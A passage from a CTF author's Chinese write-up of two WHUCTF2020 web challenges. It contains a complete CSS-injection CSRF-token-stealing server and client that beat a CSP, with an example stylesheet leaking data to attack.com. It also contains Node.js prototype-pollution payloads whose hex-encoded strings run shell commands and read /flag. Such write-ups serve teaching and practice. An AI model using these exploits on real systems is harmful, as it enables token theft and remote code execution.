6

WHUCTF2020出题记录

 2 years ago
source link: https://blog.szfszf.top/article/43/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

WHUCTF2020出题记录

2020年05月, 3727 views, #web #代码审计 #CTF #writeups #csp #原型链污染 #nodejs #CSS 注入

今年校赛我只出了两道Web, 就想着出少一点认真一点。因为没搞动态靶机为了HappyGame能够大家一起做且不被搅屎也是煞费苦心。

BookShop

这道题是很用心出的一道题,最后0解就很悲伤了。

这道题逻辑并不复杂, 有一个report点,那必然是前端漏洞,后来也提示了是css注入。而本题的目的很明显就是需要admin帮用户借一本书,而借书接口存在csrftoken,那么就需要css注入窃取token然后成功帮忙借书。题目难点在于对css注入的一些限制。

注:对于css注入不熟的同学先看完这篇文章后再看下列的内容。

进入题目是一个图书借阅系统。

image-20200527002251582

可以借书还书, 而有一本书称为flag之书只允许admin借阅。而且每本书成功借阅之后就可以看到它隐藏的内容。那么这道题的目的就是借这本书了。

image-20200527002448065

题目还有一个post页面和一个report页面, report页面可以向admin发送一个url让admin点击。

image-20200527002609327image-20200527002639661

看到report功能, 可以确定存在前端漏洞,比如XSS、CSRF啥的。结合post功能中发送的post内容会自动拼接到页面中,可以确定必是前端漏洞。

image-20200527002925772

然后在post页面还可以给自己点赞。

image-20200527005923521

漏洞利用限制

虽然post中直接拼接输入,但是存在CSP的限制

image-20200527003204789

Content-Security-Policy: default-src 'none'; connect-src 'self';img-src 'self'; style-src 'self' 'unsafe-inline';

可以看到因为script-src是none,js脚本无论何种情况是不可能执行的,那么也就不可能xss。当然我们发现CSS允许内联但不允许外部引入,尝试一下:

image-20200527003536018

可以看到css内敛代码成功执行, 此时我们拥有了一个CSS注入点,CSS注入可以窃取页面中的数据。同时全站页面的响应头都包含了X-Frame-Options: Deny ,限制站点被iframe包含。

回到借书功能, 借书操作有以下参数, uid、book_id、csrf_token,uid是自己的用户id,book_id是书籍id,最后还有一个csrf_token。

image-20200527004135509

既然我们拥有css注入漏洞, 那么窃取csrf_token是没问题的。

在这个接口中,uid这个参数位是很奇怪的,标识用户只需要session就可以了,本来是无需之歌uid的。简单尝试发现改变uid发现可以越权帮助别人借书, 那么我们可以利用css注入窃取csrf_token然后让admin帮我们借书。

no frame CSS injection

查看页面源代码csrf-token是放在标签的属性中的, 这极大地方便了我们窃取。

image-20200527005310455

由于全站限制了被frame包含, 而css注入不允许import引入外部css, 所以传统的利用iframe窃取标签数据不能利用,在我那篇文章其实已经指出了不使用iframe的css注入的可能的方法。

image-20200527005121915

https://github.com/dxa4481/cssInjection 这里给出了一种方法, 由于一位一位的猜测标签数据内容,存在iframe包含时,我们可以控制js每猜测一位csrf-token值时,加载一个iframe。而没有iframe的话我们可以利用不断开启窗口打开漏洞页面。

就像上面文章说的, 这种方法要求劫持用户点击行为。而我在题目里面和hint里给了很多暗示,让用户把赞美的url发给admin

image-20200527005735655

发送了之后不久,你就会发现admin给你点了个赞。

image-20200527010019840

很明显admin访问链接之后有点击行为,我们可以劫持这个点击就可以实现不断地开启窗口了。

bypass connect-src 'self'

最后一个巧妙地绕过就是绕过connect-src 'self',仔细观察上面的那个CSP,Content-Security-Policy: default-src 'none'; connect-src 'self';img-src 'self'; style-src 'self' 'unsafe-inline'; 它还限制了connect-src,只能向同源站内发送数据,意味着无法向外带出数据了。

熟悉有frame的css注入的同学知道, 为了一位一位的猜解页面内容, 如下我们需要页面不断和我们搭建的服务通信。

<style>
input[value^="0"] {
    background: url(http://attack.com/0);
}
input[value^="1"] {
    background: url(http://attack.com/1);
}
input[value^="2"] {
    background: url(http://attack.com/2);
}
...
input[value^="Y"] {
    background: url(http://attack.com/Y);
}
input[value^="Z"] {
    background: url(http://attack.com/Z);
}
</style>

这时限制了connect-src为self我们就不能向使用此方法了。

但是允许站内发数据, 这里就有一个比较巧妙的点,我们知道admin可以向任何人点赞, 而且点赞api很容易获取到 /like/1585 其中的1585就是被点赞的人的uid。

而且csrf-token只有16位, 我们创建16个用户代表a-f0-9,当猜测出csrf-token某位为a时, 向我们创建的第一个用户点赞, 通过不断访问用户post页面就可以知道是谁被点赞了, 这样就可以带出数据了。

<style>
input[value^="a"] {
    background: url(http://jrxnm.cpm/like/1000);
}
input[value^="b"] {
    background: url(http://jrxnm.cpm/like/1001);
}
input[value^="c"] {
    background: url(http://jrxnm.cpm/like/1002);
}
...
input[value^="8"] {
    background: url(http://jrxnm.cpm/like/1014);
}
input[value^="9"] {
    background: url(http://jrxnm.cpm/like/1015);
}
</style>

代码和有frame的代码类似,代码我就不分析了和我那篇文章中使用frame的原理是类似的,只是加入了本文的这些限制,看懂了那个这个也没问题了。

首先是服务端, 注意修改user_id为自己的id

from flask import Flask
from threading import Thread
import random, string
import requests
import re
import time
app = Flask(__name__)


token = ""
users = []
challenge_url = "http://218.197.154.9:10000/"
challenge_url_for_bot = "http://jrxnm.com/"
payload_url = "http://blog.szfszf.top:9015/"
user_id = 1233
chars = "abcdef0123456789"


@app.route('/return')
def return_token():
    return token


@app.route('/noframe.html')
def client():
    ids = [str(u.id) for u in users]
    return open('noframe.html').read()%(str(ids), challenge_url_for_bot, payload_url, str(user_id))


def get_random(num=32):
    ran_str = ''.join(random.sample(string.ascii_letters + string.digits, num))
    return ran_str

class User:
    def __init__(self):
        self.s, self.id = self.create_user()

    def create_user(self):
        username = get_random()
        password = get_random()
        data = {"username": username, "password": password}
        s = requests.Session()
        res1 = s.post(challenge_url+'login', data=data)
        res2 = s.get(challenge_url+'post')
        pa = re.compile(r'/post/(\d+)/')
        user_id = int(pa.findall(res2.text)[0])
        print(user_id)
        return s,user_id

    def post(self):
        data = {"post": get_random()}
        self.s.post(challenge_url+'post', data=data)


    def check_admin_like(self):
        global token
        res = self.s.get(challenge_url+'post')
        if 'admin' in res.text:
            ids = [str(u.id) for u in users]
            c = chars[ids.index(str(self.id))]
            token += c
            print(token)
            self.post()
            return True
        return False

def get_token():
    get_users()
    while True:
        for u in users:
            t = Thread(target=u.check_admin_like)
            t.start()
        time.sleep(0.2)

def get_users():
    for i in range(16):
        users.append(User())

    ids = [str(u.id) for u in users]
    print(ids)


if __name__ == '__main__':
    t = Thread(target=get_token)
    t.start()
    app.run(host='0.0.0.0', port=9015)
<html>
    <body onclick="potatoes();">click somewhere to begin attack</body>
    <script>
        var chars = %s;
        var chars1 = "abcdef0123456789".split("")
        var challenge_url = '%s'
        var vuln_url = challenge_url + 'post/1/?post=';
        var server_receive_token_url = challenge_url + 'like/';
        var server_return_token_url = '%sreturn';
        var known = "";
        var length = 32;
        var m = 0;

        function borrow_flag(csrf_token){
            let postData = "uid=%s&book_id=7&csrf_token="+csrf_token;
            fetch( challenge_url + 'borrow', {
              method: 'POST',
              mode: 'cors',
              credentials: 'include',
              headers: {
                'Content-Type': 'application/x-www-form-urlencoded'
              },
              body: postData
            }).then(function(response) {
              console.log(response);
            });
        }

        function build_css() {
            css_payload = "<style>";
            for(i=0; i< chars.length; i++) {
                css_payload += "meta[name=csrf-token][content^=\""
                    + known + chars1[i]
                    + "\"]~*{background-image:url(" 
                    + server_receive_token_url
                    + chars[i]
                    + ")%%3B}"; //can't use an actual semicolon because that has a meaning in a url
            }
            css_payload += "</style>"
            return css_payload;
        }
        var potatoes = function(){
            var css = build_css();
            var win2 = window.open(vuln_url + css, 'f')
            win2.blur();

            setTimeout(function() {
                var oReq = new XMLHttpRequest();
                oReq.addEventListener("load", known_listener);
                oReq.open("GET", server_return_token_url);
                oReq.send();
            }, 1000);
        }

        function known_listener () {
            document.getElementById("CSRFToken").innerHTML = "Current Token: " + this.responseText;
            console.log(m);
            if(known != this.responseText) {
                m=0;
                known = this.responseText;
                potatoes();
            } else {
                known = this.responseText;
                m+=1;

                if (m==2){
                    borrow_flag(known);
                }else{
                    potatoes();
                }
            }
        }

    </script>
    </br>
    The CSRF token is:
    <div id="CSRFToken"></div>
    <a><button class="btn btn-danger" ng-show="flag">点赞</button></a>
</div>

</html>

以上第一个文件保存为index.py, 第二个为noframe.html 放在服务器上同一个文件夹。 运行

python index.py

向admin report url为 http://your_server:9015/noframe.html

image-20200527012407614

然后可以看到admin会访问这个页面然后在一位一位的猜csrf-token

image-20200527012447817

猜完了之后会自动csrf帮你借书,然后你就可以在主页看到这本书了,书本点进去就是flag

image-20200527012808550

HappyGame

打开题目是一个小游戏。简单玩了一下发现只有在游戏结束后会向服务器发送数据,在前端源代码找到接口。

image-20200527232459586

这道题在放出不久就给出了hint让找源码,其实分析了前端的同学找到很容易找到源码位置的。

image-20200527232617860

拿到源码就是一个js文件, 确定是nodejs写得后台, 简单改一下就可以本地跑了,这样有助于本地测试。

const express = require('express');
const path = require('path');
const opn = require('opn');
const crypto = require('crypto');
const session = require("express-session");
const bodyParser = require('body-parser');
const stringRandom = require('string-random');
const app = express();
const FUNCFLAG = '_$$ND_FUNC$$_';
const serialize_banner = '{"banner":"Congratulations! 你是目前最高分!"}';
app.use(bodyParser());
app.use(bodyParser.json());

const logs={};
var highestScore = 400;


const serialize = function(obj) {
  var outputObj = {};
  var key;
  if (typeof obj === 'string') {
    return JSON.stringify(obj);
  }
  for(key in obj) {
    if(obj.hasOwnProperty(key)) {
      if(typeof obj[key] === 'function') {
        var funcStr = obj[key].toString();
        outputObj[key] = FUNCFLAG + funcStr;
      } else {
        outputObj[key] = obj[key];
      }
    }
  }
  return JSON.stringify(outputObj);
};

const validCode = function (func_code){
  let validInput = /process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base64|"|'|\[|\+|\*/ig;
  return !validInput.test(func_code);
};

const validInput = function (input){
  // filter bad input
  let validInput = /process|child_process|main|require|exec|this|function/ig;
  ins = serialize(input);
  return !validInput.test(ins);
};


// not safe
const unserialize = function(obj) {
  obj = JSON.parse(obj);
  if (typeof obj === 'string') {
    return obj;
  }
  var key;
  for(key in obj) {
    if(typeof obj[key] === 'string') {
      if(obj[key].indexOf(FUNCFLAG) === 0) {
        var func_code=obj[key].substring(FUNCFLAG.length);
        if (validCode(func_code)){
          var d = '(' + func_code + ')';
          obj[key] = eval(d);
        }
      }
    }
  }
  return obj;
};

const merge = function(target, source) {
  try{
    for (let key in source) {
      if (typeof source[key] == 'object' ) {
        merge(target[key], source[key]);
      } else {
        target[key] = source[key];
      }
    }
  }
  catch (e) {
    console.log(e);
  }
};

const genSanbox = function (req){
  var content = stringRandom(32);
  var result = crypto.createHash('md5').update(content).digest("hex");
  req.session.sanbox = result;
  logs[result] = new Record();
  return result;
};

const getSanbox = function (req){
  return req.session.sanbox;
};

app.use(session({
  secret: 'hahahahahaha@@@@@@',
  name : 'sessionId',
  resave: false,
  saveUninitialized: false
}));

app.use(function(req, res, next){
  if(!getSanbox(req)){
    genSanbox(req);
  }
  if(validInput(req.body)) {
    next();
  } else{
    res.status(403).send('Hacker!!!');
  }
});

const clearEnvir = function (){
  for(key in Object()){delete {}.__proto__[key]};
};


function Record(){
  this.lastScore=0;
  this.maxScore=0;
  this.lastTime=null;
}

async function record (req, res, next){
  new Promise(function (resolve, reject) {
    var sanbox = getSanbox(req);
    var record = new Record();
    var score = req.body.score;
    var oldRecord = logs[sanbox];

    console.log(score);
    clearEnvir();
    if (score.length<5){
      merge(record, {
        lastScore: score,
        maxScore: parseInt(logs[sanbox].maxScore)>parseInt(score)?logs[sanbox].maxScore:score,
        lastTime: new Date().toString()
      });
      logs[sanbox] = record;
      oldRecord.maxScore = record.maxScore;
      highestScore = highestScore > parseInt(score)? highestScore: parseInt(score);
      if((score - highestScore)<0){
        var banner = "再接再厉,马上就要赶上最高分了!";
      }else{
        // var serialize_banner = req.params.data;
        var banner = unserialize(serialize_banner).banner;
      }
    }else{
      banner="我都打不了这么高, 你小子肯定作弊了";
    }

    clearEnvir();
    res.json({
      banner: banner,
      record: oldRecord
    });
  }).catch(function(err){
    next(err)
  })
}

app.post('/record', record);
app.get('/token', function(req, res){
  token = getSanbox(req);
  res.end(token);
});

app.use(function(req, res){
  res.status(404).send('Not Found')
});

app.use(function (err, req, res, next) {
  console.log(err.stack);
  clearEnvir();
  res.status(500).send('Some thing broke!')
});

const server = app.listen(8082, function() {
  var host = server.address().address;
  var port = server.address().port;
  console.log("Example app listening at http://%s:%s", host, port)
});

题目只有两个接口/token/record record接口会记录每个用户上次玩游戏的分数和他的最高分,将这些内容存在全局变量 logs[sanbox]中,其中的sandox是每个人唯一标识符, 访问token接口即可返回sanbox值。

image-20200527233328888

我们来查看关键代码如下。

    var sanbox = getSanbox(req);
    var record = new Record();
    var score = req.body.score;
    var oldRecord = logs[sanbox];

    console.log(score);
    clearEnvir();
    if (score.length<5){
      merge(record, {
        lastScore: score,
        maxScore: parseInt(logs[sanbox].maxScore)>parseInt(score)?logs[sanbox].maxScore:score,
        lastTime: new Date().toString()
      });
      logs[sanbox] = record;
      oldRecord.maxScore = record.maxScore;
      highestScore = highestScore > parseInt(score)? highestScore: parseInt(score);
      if((score - highestScore)<0){
        var banner = "再接再厉,马上就要赶上最高分了!";
      }else{
        // var serialize_banner = req.params.data;
        var banner = unserialize(serialize_banner).banner;
      }
    }else{
      banner="我都打不了这么高, 你小子肯定作弊了";
    }
clearEnvir();

merge那里明显存在原型链污染漏洞, score即是http的body的内容, 我们知道express在配置了app.use(bodyParser.json());之后就可以通过修改content-Type为application/json实现传递json数据。那么原型链污染就能够实现了。

那么原型链污染什么变量才能getshell呢。看下面serialize和unserialize函数代码,在反序列化时存在eval操作是很危险的。

const serialize = function(obj) {
  var outputObj = {};
  var key;
  if (typeof obj === 'string') {
    return JSON.stringify(obj);
  }
  for(key in obj) {
    if(obj.hasOwnProperty(key)) {
      if(typeof obj[key] === 'function') {
        var funcStr = obj[key].toString();
        outputObj[key] = FUNCFLAG + funcStr;
      } else {
        outputObj[key] = obj[key];
      }
    }
  }
  return JSON.stringify(outputObj);
};

// not safe
const unserialize = function(obj) {
  obj = JSON.parse(obj);
  if (typeof obj === 'string') {
    return obj;
  }
  var key;
  for(key in obj) {
    if(typeof obj[key] === 'string') {
      if(obj[key].indexOf(FUNCFLAG) === 0) {
        var func_code=obj[key].substring(FUNCFLAG.length);
        if (validCode(func_code)){
          var d = '(' + func_code + ')';
          obj[key] = eval(d);
        }
      }
    }
  }
  return obj;
};

如果反序列化的内容可控,我们就可以构造恶意内容让eval执行我们的数据。但是我们在唯一的调用unserialize函数地方的serialize_banner是不可控的。

        var banner = unserialize(serialize_banner).banner;

但是仔细观察unserialize函数,在JSON.parse了后,直接for key in obj 这样得到的key不仅仅包括obj对象的key还包括其原型链上继承下来的key(和serialize函数对比, serialize函数还使用了obj.hasOwnProperty(key)来判断)。那么我们就可以利用原型链污染,污染Object的某个key,此时只要运行了unserialize,那么某个key的值就是可控的了。

就比如下面这样就可以向里面的变量污染jrxnm属性, 不考虑题目中的过滤eval就会执行下面的XXXX内容。

POST /record HTTP/1.1
Host: 218.197.154.9:10001
Content-Type: application/json
Content-Length: 366
Cookie: sessionId=s%3AxyAIkmPQgd-e7P403oNty5NCDCFEpAwB.iiFSaDe3LLpcqEQtoL9cU32RyDP3D4YwURxLr3mswrQ; Path=/;

{"score": {"__proto__": {"__proto__": {"jrxnm": "_$$ND_FUNC$$_a=XXXX"}}}}
  1. 接下来到了绕过过滤了,在输入内容时和unserialize中分别有validInput 、validCode两个过滤点,都是对关键字进行过滤。
const validCode = function (func_code){
  let validInput = /process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base64|"|'|\[|\+|\*/ig;
  return !validInput.test(func_code);
};

const validInput = function (input){
  // filter bad input
  let validInput = /process|child_process|main|require|exec|this|function/ig;
  ins = serialize(input);
  return !validInput.test(ins);
};
  1. 一个小tricks,只有当输入的score的length小于5后面的内容时后面的有漏洞的代码才会运行
image-20200527235450932
  1. 最后就是真正运行的靶机是无法联网的,能够执行代码后还得想办法带出数据。

第一点不难,不使用相关关键字就可以了。

Buffer.constructor(Buffer.from(`72657475726e2070726f636573732e6d61696e4d6f64756c652e636f6e7374727563746f722e5f6c6f616428276368696c645f70726f6365737327292e6578656353796e6328276c73202f27292e746f537472696e672829`, `he\\x78`))()

第二点简单,我们可控的score是输入时json转换成的对象,没有length属性的话我们在输入时可以为其添加length属性。

{"score": {"__proto__": {"__proto__": {"jrxnm": "_$$ND_FUNC$$_a=XXXX"}}, "length": 1}}

第三点从题目的日志中可以看出,做出来的四个师傅都是非预期盲注出来的。其实我在设计题目时设计了是可以回显的。注意到这道题都允许eval了嘛, logs是一个全局变量, 那么我们修改logs这个变量中一个可控sanbox中的数据为命令执行后返回的内容, 便可回显给我们。下面就是执行了cat /flag的回显。

image-20200528001323851

payload:

{"score": {"__proto__": {"__proto__": {"banner1": "_$$ND_FUNC$$_logs.f056fd06ae0c4d18ca90abf361afa666.lastTime=Buffer.constructor(Buffer.from(`72657475726e2070726f636573732e6d61696e4d6f64756c652e636f6e7374727563746f722e5f6c6f616428276368696c645f70726f6365737327292e6578656353796e632827636174202f666c616727292e746f537472696e672829`, `he\\x78`).toString())()"}}, "length": 1}}

可以通过token接口拿到自己的sanbox值替换成上面payload中的内容,注意sanbox值首字符必须为字母,因为javascript不允许数字开头的变量会导致报错,所以多次尝试让它生成一个以字母开头的就行了。

而师傅们的非预期的payload如下

_$$ND_FUNC$$_``.constructor.constructor(`\\x69\\x66\\x28\\x70\\x72\\x6f\\x63\\x65\\x73\\x73\\x2e\\x6d\\x61\\x69\\x6e\\x4d\\x6f\\x64\\x75\\x6c\\x65\\x2e\\x72\\x65\\x71\\x75\\x69\\x72\\x65\\x28\\x22\\x66\\x73\\x22\\x29\\x2e\\x72\\x65\\x61\\x64\\x46\\x69\\x6c\\x65\\x53\\x79\\x6e\\x63\\x28\\x22\\x2f\\x66\\x6c\\x61\\x67\\x22\\x29\\x2e\\x74\\x6f\\x53\\x74\\x72\\x69\\x6e\\x67\\x28\\x29\\x5b\\x34\\x30\\x5d\\x3e\\x22\\x20\\x22\\x29\\x7b\\x7d\\x65\\x6c\\x73\\x65\\x7b\\x74\\x68\\x72\\x6f\\x77\\x20\\x45\\x72\\x72\\x6f\\x72\\x28\\x29\\x7d`)()

其中被执行的代码为,通过报错实现一位一位的猜解

if(process.mainModule.require("fs").readFileSync("/flag").toString()[40]>" "){}else{throw Error()}

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK